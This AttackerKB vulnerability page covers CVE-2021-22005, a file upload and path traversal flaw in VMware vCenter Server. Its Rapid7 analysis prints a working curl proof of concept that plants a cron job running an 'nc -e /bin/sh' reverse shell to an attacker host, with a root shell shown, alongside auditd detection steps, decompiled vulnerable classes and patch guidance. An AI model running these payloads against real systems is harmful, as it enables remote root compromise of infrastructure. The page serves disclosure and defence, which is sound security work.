Very High
CVE-2021-22005
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2021-22005
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
The vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
This assessment has moved to the Rapid7 analysis. Thank you.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportTechnical Analysis
A RCE vulnerability exists in vCenter Server 6.7 and 7.0 which could allow an actor to with access to port 443 can execute commands and software on unpatched vCenter Server deployments by uploading a specially crafted file.
https://www.bleepingcomputer.com/news/security/vmware-warns-of-critical-bug-in-default-vcenter-server-installs/#.YUoiQlUeVM8
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
This is a remote -code-execution vulnerability which can be abused by an unauthenticated attacker. According to the VMware FAQ this vulnerability can be used under the following circumstances:
This vulnerability can be used by anyone who can reach vCenter Server over the network to gain access, regardless of the configuration settings of vCenter Server.
Looking at the timeline of another file upload vuln in vmware vcenter:
CVE-2021-21972
- published on 2021-02-23 https://www.vmware.com/security/advisories/VMSA-2021-0002.html
- public exploitation on 2021-02-26 https://twitter.com/bad_packets/status/1408890423871819781
I would argue, that this vuln has a high likelyhood of being exploited soon.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Products
- VMware vCenter Server, VMware Cloud Foundation
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this report- Government or Industry Alert (https://us-cert.cisa.gov/ncas/current-activity/2021/09/24/vmware-vcenter-server-vulnerability-cve-2021-22005-under-active)
- Threat Feed (https://blogs.juniper.net/en-us/threat-research/cve-2021-22005-vmware-vcenter-analytics-service-arbitrary-file-upload-vulnerability)
- News Article or Blog (https://www.tenable.com/blog/contileaks-chats-reveal-over-30-vulnerabilities-used-by-conti-ransomware-affiliates)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Additional Info
Technical Analysis
Threat status: Widespread threat
Attacker utility: Network infrastructure compromise
On Tuesday, September 21, 2021, VMware published a security advisory on CVE-2021-22005, a critical file upload vulnerability in vCenter Server. Successful exploitation allows remote, unauthenticated attackers with network access to port 443 to execute code on vulnerable vCenter servers, “regardless of the configuration settings of the vCenter Server.” CVE-2021-22005 carries a CVSSv3 base score of 9.8.
As of September 27, 2021, proof-of-concept (PoC) exploit code is publicly available and community researchers have observed both mass scanning and exploit activity in the wild. We expect this to increase quickly; vCenter administrators who have not already done so should patch on an emergency basis and examine their networks for indicators of compromise.
Affected products
- vCenter Server 6.7
- vCenter Server 7.0
- Cloud Foundation (vCenter Server) 3.x
- Cloud Foundation (vCenter Server) 4.x
Technical analysis
The following analysis was first published by Rapid7’s William Vu here.
RCE PoC against CEIP (telemetry), which must be enabled but is an opt-out feature:
wvu@kharak:~$ curl -kv "https://172.16.57.2/analytics/telemetry/ph/api/hyper/send?_c=&_i=/$RANDOM" -H Content-Type: -d "" * Trying 172.16.57.2... * TCP_NODELAY set * Connected to 172.16.57.2 (172.16.57.2) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/cert.pem CApath: none * TLSv1.2 (OUT), TLS handshake, Client hello (1): * TLSv1.2 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=172.16.57.2; C=US * start date: Sep 21 23:36:07 2021 GMT * expire date: Sep 16 23:36:04 2031 GMT * issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > POST /analytics/telemetry/ph/api/hyper/send?_c=&_i=/7019 HTTP/1.1 > Host: 172.16.57.2 > User-Agent: curl/7.64.1 > Accept: */* > Content-Length: 0 > < HTTP/1.1 201 < Content-Length: 0 < Date: Mon, 27 Sep 2021 23:00:07 GMT < Server: Apache < * Connection #0 to host 172.16.57.2 left intact * Closing connection 0 wvu@kharak:~$ curl -kv "https://172.16.57.2/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh 172.16.57.1 4444" * Trying 172.16.57.2... * TCP_NODELAY set * Connected to 172.16.57.2 (172.16.57.2) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/cert.pem CApath: none * TLSv1.2 (OUT), TLS handshake, Client hello (1): * TLSv1.2 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server did not agree to a protocol * Server certificate: * subject: CN=172.16.57.2; C=US * start date: Sep 21 23:36:07 2021 GMT * expire date: Sep 16 23:36:04 2031 GMT * issuer: CN=CA; DC=vsphere; DC=local; C=US; ST=California; O=photon-machine; OU=VMware Engineering * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > POST /analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/30229 HTTP/1.1 > Host: 172.16.57.2 > User-Agent: curl/7.64.1 > Accept: */* > Content-Length: 45 > * upload completely sent off: 45 out of 45 bytes < HTTP/1.1 201 < Content-Length: 0 < Date: Mon, 27 Sep 2021 23:01:00 GMT < Server: Apache < * Connection #0 to host 172.16.57.2 left intact * Closing connection 0 wvu@kharak:~$
The first request creates the directory required for the path traversal to succeed:
root@photon-machine [ ~ ]# realpath -m /var/log/vmware/analytics/prod/_c_i/../../../../../../etc/cron.d /etc/cron.d root@photon-machine [ ~ ]#
The second request creates a cron
job that spawns a reverse shell:
wvu@kharak:~$ ncat -lv 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.16.57.2. Ncat: Connection from 172.16.57.2:37570. id uid=0(root) gid=0(root) groups=0(root),1000(vami),4044(shellaccess),59005(coredump) uname -a Linux photon-machine 4.4.250-1.ph1 #1-photon SMP Fri Jan 15 03:01:15 UTC 2021 x86_64 GNU/Linux
No attack-related log files appear to be written, though the following files are created during exploitation:
root@photon-machine [ ~ ]# ls -l /var/log/vmware/analytics/prod/_c_i/*.json /etc/cron.d/*.json -rw-r--r-- 1 root root 46 Sep 27 23:01 /etc/cron.d/30229.json -rw-r--r-- 1 root root 1 Sep 27 23:00 /var/log/vmware/analytics/prod/_c_i/7019.json root@photon-machine [ ~ ]# cat /etc/cron.d/30229.json * * * * * root nc -e /bin/sh 172.16.57.1 4444 root@photon-machine [ ~ ]#
Which can be watched using the Linux audit framework:
root@photon-machine [ ~ ]# auditctl -w /etc/cron.d -p w -k CVE-2021-22005 root@photon-machine [ ~ ]# ausearch -k CVE-2021-22005 ---- time->Tue Sep 28 08:06:32 2021 type=CONFIG_CHANGE msg=audit(1632816392.774:252): auid=0 ses=1 op="add_rule" key="CVE-2021-22005" list=4 res=1 ---- time->Tue Sep 28 08:07:30 2021 type=PROCTITLE msg=audit(1632816450.928:253): proctitle=2F7573722F6A6176612F6A72652D766D776172652F62696E2F766D776172652D616E616C79746963732E6C61756E63686572002D586D783132386D002D58583A436F6D70726573736564436C617373537061636553697A653D36346D002D5873733235366B002D58583A506172616C6C656C4743546872656164733D31002D44 type=PATH msg=audit(1632816450.928:253): item=1 name="/var/log/vmware/analytics/prod/_c_i/../../../../../../etc/cron.d/12147.json" inode=542310 dev=08:03 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE type=PATH msg=audit(1632816450.928:253): item=0 name="/var/log/vmware/analytics/prod/_c_i/../../../../../../etc/cron.d/" inode=525323 dev=08:03 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT type=CWD msg=audit(1632816450.928:253): cwd="/storage/log/vmware/vmon" type=SYSCALL msg=audit(1632816450.928:253): arch=c000003e syscall=2 success=yes exit=154 a0=7f19d80a0df0 a1=441 a2=1b6 a3=7f1a15052a40 items=2 ppid=2017 pid=13929 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="vmware-analytic" exe="/usr/java/jre-vmware/bin/vmware-analytics.launcher" key="CVE-2021-22005" root@photon-machine [ ~ ]#
The path traversal and file write can be traced to these three classes, where a log filename is constructed from unsanitized input:
package com.vmware.ph.phservice.push.telemetry.server; import com.vmware.ph.phservice.common.server.HttpUtil; import com.vmware.ph.phservice.common.server.throttler.RateLimiter; import com.vmware.ph.phservice.push.telemetry.TelemetryLevel; import com.vmware.ph.phservice.push.telemetry.TelemetryLevelService; import com.vmware.ph.phservice.push.telemetry.TelemetryRequest; import com.vmware.ph.phservice.push.telemetry.TelemetryService; import com.vmware.ph.phservice.push.telemetry.server.throttler.RateLimiterProvider; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.concurrent.Callable; import javax.servlet.http.HttpServletRequest; import org.apache.commons.io.IOUtils; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; @Controller public class AsyncTelemetryController { private static final Log _log = LogFactory.getLog(AsyncTelemetryController.class); private static final String STAGE_PATH = "/ph-stg/api/hyper/send"; private static final String PROD_PATH = "/ph/api/hyper/send"; private static final String STAGE_LEVEL_PATH = "/ph-stg/api/level"; private static final String PROD_LEVEL_PATH = "/ph/api/level"; private final TelemetryService _prodTelemetryService; private final TelemetryService _stageTelemetryService; private final TelemetryLevelService _prodTelemetryLevelService; private final TelemetryLevelService _stageTelemetryLevelService; private final long _telemetryRequestPermitTimeoutMillis; private final RateLimiter _globalTelemetryRateLimiter; private RateLimiterProvider _prodRateLimiterProvider; private RateLimiterProvider _stageRateLimiterProvider; public AsyncTelemetryController(TelemetryService prodTelemetryService, TelemetryService stageTelemetryService, TelemetryLevelService prodTelemetryLevelService, TelemetryLevelService stageTelemetryLevelService, RateLimiter globalTelemetryRateLimiter, long telemetryRequestPermitTimeoutMillis) { this._prodTelemetryService = prodTelemetryService; this._stageTelemetryService = stageTelemetryService; this._prodTelemetryLevelService = prodTelemetryLevelService; this._stageTelemetryLevelService = stageTelemetryLevelService; this._globalTelemetryRateLimiter = globalTelemetryRateLimiter; this._telemetryRequestPermitTimeoutMillis = telemetryRequestPermitTimeoutMillis; } public void setProdRateLimiterProvider(RateLimiterProvider prodRateLimiterProvider) { this._prodRateLimiterProvider = prodRateLimiterProvider; } public void setStageRateLimiterProvider(RateLimiterProvider stageRateLimiterProvider) { this._stageRateLimiterProvider = stageRateLimiterProvider; } @RequestMapping(method = {RequestMethod.POST}, value = {"/ph/api/hyper/send"}) public Callable<ResponseEntity<Void>> handleSendRequest(HttpServletRequest httpRequest, @RequestParam(value = "_v", required = false) String version, @RequestParam("_c") String collectorId, @RequestParam(value = "_i", required = false) String collectorInstanceId) throws IOException { return handleSendRequest(this._prodTelemetryService, this._prodRateLimiterProvider, httpRequest, version, collectorId, collectorInstanceId); } @RequestMapping(method = {RequestMethod.POST}, value = {"/ph-stg/api/hyper/send"}) public Callable<ResponseEntity<Void>> handleStageSendRequest(HttpServletRequest httpRequest, @RequestParam(value = "_v", required = false) String version, @RequestParam("_c") String collectorId, @RequestParam(value = "_i", required = false) String collectorInstanceId) throws IOException { return handleSendRequest(this._stageTelemetryService, this._stageRateLimiterProvider, httpRequest, version, collectorId, collectorInstanceId); } @RequestMapping(method = {RequestMethod.GET}, value = {"/ph/api/level"}) public Callable<ResponseEntity<String>> handleGetLevelRequest(@RequestParam("_c") String collectorId, @RequestParam(value = "_i", required = false) String collectorInstanceId) { return handleGetLevelRequest(this._prodTelemetryLevelService, this._prodRateLimiterProvider, collectorId, collectorInstanceId); } @RequestMapping(method = {RequestMethod.GET}, value = {"/ph-stg/api/level"}) public Callable<ResponseEntity<String>> handleStageGetLevelRequest(@RequestParam("_c") String collectorId, @RequestParam(value = "_i", required = false) String collectorInstanceId) { return handleGetLevelRequest(this._stageTelemetryLevelService, this._stageRateLimiterProvider, collectorId, collectorInstanceId); } private Callable<ResponseEntity<Void>> handleSendRequest(final TelemetryService telemetryService, final RateLimiterProvider rateLimiterProvider, HttpServletRequest httpRequest, String version, final String collectorId, final String collectorInstanceId) throws IOException { final TelemetryRequest telemetryRequest = createTelemetryRequest(httpRequest, version, collectorId, collectorInstanceId); return new Callable<ResponseEntity<Void>>() { public ResponseEntity<Void> call() throws Exception { if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS); telemetryService.processTelemetry(telemetryRequest.getCollectorId(), telemetryRequest.getCollectorIntanceId(), new TelemetryRequest[] { this.val$telemetryRequest }); return new ResponseEntity(HttpStatus.CREATED); } }; } private Callable<ResponseEntity<String>> handleGetLevelRequest(final TelemetryLevelService telemetryLevelService, final RateLimiterProvider rateLimiterProvider, final String collectorId, final String collectorInstanceId) { return new Callable<ResponseEntity<String>>() { public ResponseEntity<String> call() throws Exception { if (!AsyncTelemetryController.this.isRequestPermitted(collectorId, collectorInstanceId, rateLimiterProvider)) return new ResponseEntity(HttpStatus.TOO_MANY_REQUESTS); TelemetryLevel level = telemetryLevelService.getTelemetryLevel(collectorId, collectorInstanceId); ResponseEntity<String> telemetryLevelResponseEntity = new ResponseEntity(AsyncTelemetryController.wrapStringAsJsonString(level.toString()), HttpStatus.OK); return telemetryLevelResponseEntity; } }; } private boolean isRequestPermitted(String collectorId, String collectorInstanceId, RateLimiterProvider collectorRateLimiterProvider) { boolean isRequestPermitted = this._globalTelemetryRateLimiter.tryAcquire(this._telemetryRequestPermitTimeoutMillis); if (isRequestPermitted && collectorRateLimiterProvider != null) { RateLimiter collectorRateLimiter = collectorRateLimiterProvider.getRateLimiter(collectorId, collectorInstanceId); if (collectorRateLimiter != null) isRequestPermitted = collectorRateLimiter.tryAcquire(this._telemetryRequestPermitTimeoutMillis); } if (!isRequestPermitted) _log.warn("Request will not be processed due to high load."); return isRequestPermitted; } private static TelemetryRequest createTelemetryRequest(HttpServletRequest httpRequest, String version, String collectorId, String collectorInstanceId) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); IOUtils.copy((InputStream)httpRequest.getInputStream(), out); boolean isCompressed = HttpUtil.isCompressed(httpRequest); TelemetryRequest telemetryRequest = new TelemetryRequest(version, collectorId, collectorInstanceId, out.toByteArray(), isCompressed); return telemetryRequest; } private static final String wrapStringAsJsonString(String responseBody) { return String.format("\"%s\"", new Object[] { responseBody }); } }
package com.vmware.ph.phservice.push.telemetry; import com.vmware.ph.phservice.push.telemetry.internal.impl.ResultFuture; import com.vmware.ph.phservice.push.telemetry.internal.log.LogTelemetryUtil; import java.io.UnsupportedEncodingException; import java.nio.file.Path; import java.util.ArrayList; import java.util.LinkedHashSet; import java.util.List; import java.util.Set; import java.util.concurrent.Future; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.ThreadContext; import org.apache.logging.log4j.core.LoggerContext; public class LogTelemetryService implements TelemetryService { private static final String CTX_LOG_TELEMETRY_DIR_PATH = "logTelemetryDirPath"; private static final String CTX_LOG_TELEMETRY_FILE_NAME = "logTelemetryFileName"; private final Path _logDirPath; private final Logger _logger; public LogTelemetryService(Path logDirPath, LoggerContext loggerContext) { this._logDirPath = logDirPath; this._logger = (Logger)loggerContext.getLogger(LogTelemetryService.class.getName() + ":" + logDirPath.toString()); } public Future<Boolean> processTelemetry(String collectorId, String collectorInstanceId, TelemetryRequest[] telemetryRequests) { ThreadContext.put("logTelemetryDirPath", this._logDirPath.normalize().toString()); ThreadContext.put("logTelemetryFileName", LogTelemetryUtil.getLogFileNamePattern(collectorId, collectorInstanceId)); for (TelemetryRequest telemetryRequest : telemetryRequests) this._logger.info(serializeToLogMessage(telemetryRequest)); return new ResultFuture<>(Boolean.TRUE); } public List<CollectorAgent> getAvailableCollectors() { Set<CollectorAgent> collectors = new LinkedHashSet<>(); Path[] paths = LogTelemetryUtil.getTelemetryLogPaths(this._logDirPath); for (Path path : paths) { CollectorAgent collectorAgent = LogTelemetryUtil.getCollectorAgent(path); collectors.add(collectorAgent); } return new ArrayList<>(collectors); } public Path getLogDirPath() { return this._logDirPath; } public Path getBookmarkDirectoryPath() { return getLogDirPath(); } private static String serializeToLogMessage(TelemetryRequest telemetryRequest) { String body = ""; try { body = new String(telemetryRequest.getData(), "UTF-8"); } catch (UnsupportedEncodingException e) {} return body; } }
package com.vmware.ph.phservice.push.telemetry.internal.log; import com.vmware.ph.phservice.common.internal.file.FileUtil; import com.vmware.ph.phservice.push.telemetry.CollectorAgent; import com.vmware.ph.phservice.push.telemetry.TelemetryRequest; import java.io.File; import java.io.FilenameFilter; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.util.Date; import java.util.regex.Matcher; import java.util.regex.Pattern; public class LogTelemetryUtil { static final String COLLECTOR_ID_PREFIX = "_c"; static final String COLLECTOR_INSTANCE_ID_PREFIX = "_i"; static final String LOG_FILE_NAME_PATTERN = "_c%1$s_i%2$s"; private static final String LOG_COMPRESSED_FILE_EXTENSION_REGEX = "\\.[\\d]+\\.json.gz"; private static final Pattern LOG_ROLLING_FILE_INDEX_PATTERN = Pattern.compile(".+\\.(\\d+).json.gz"); public static String getLogFileNamePattern(String collectorId, String collectorInstanceId) { String logFileName = String.format("_c%1$s_i%2$s", new Object[] { collectorId, collectorInstanceId }); return logFileName; } public static Path[] getTelemetryLogPaths(Path logDirPath) { Path[] paths = FileUtil.listFiles(logDirPath, new FilenameFilter() { public boolean accept(File dir, String name) { return name.startsWith("_c"); } }); return paths; } public static CollectorAgent getCollectorAgent(Path logFilePath) { String logFileName = getLogFileName(logFilePath); int instanceIdIndex = logFileName.indexOf("_i"); String collectorId = logFileName.substring("_c".length(), instanceIdIndex); String collectorInstanceId = logFileName.substring(instanceIdIndex + "_i".length()); CollectorAgent collectorAgent = new CollectorAgent(collectorId, collectorInstanceId); return collectorAgent; } public static boolean isCompressed(Path logFilePath) { boolean isCompressed = logFilePath.toString().endsWith(".gz"); return isCompressed; } public static TelemetryRequest buildTelemetryRequest(String collectorId, String collectorInstanceId, Path logFilePath) throws IOException { boolean isCompressed = isCompressed(logFilePath); byte[] data = Files.readAllBytes(logFilePath); TelemetryRequest telemetryRequest = new TelemetryRequest("1.0", collectorId, collectorInstanceId, data, isCompressed); return telemetryRequest; } public static boolean isLogFileNotProcessed(Path logFilePath, Date lastProcessedTimestamp) { if (FileUtil.isFileModifiedAfterTimestamp(logFilePath, lastProcessedTimestamp)) return true; return false; } public static int getLogFileRolloverIndex(Path path, int defaultIndex) { String logFileName = path.toString(); Matcher matcher = LOG_ROLLING_FILE_INDEX_PATTERN.matcher(logFileName); if (matcher.matches()) return Integer.parseInt(matcher.group(1)); return defaultIndex; } private static String getLogFileName(Path logFilePath) { String fileName = logFilePath.getFileName().toString(); if (fileName.endsWith(".json.gz")) return fileName.replaceAll("\\.[\\d]+\\.json.gz", ""); if (fileName.endsWith(".json")) { int extensionIndex = fileName.length() - ".json".length(); return fileName.substring(0, extensionIndex); } return fileName; } }
See this thread for additional context.
Guidance
Given the severity of the vulnerability and the potential for network infrastructure compromise,
vCenter Server administrators should apply the appropriate fixed version immediately, invoking emergency patch procedures. See VMware’s advisory for more information on fixed versions. Organizations are advised to check for any signs of suspicious activity since the vulnerability was announced on September 21, 2021; any organization that exposes vCenter to the internet on port 443 should immediately restrict access from the public internet. If updating is not a viable solution, VMware’s FAQ does document a temporary (but not recommended!) workaround.
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: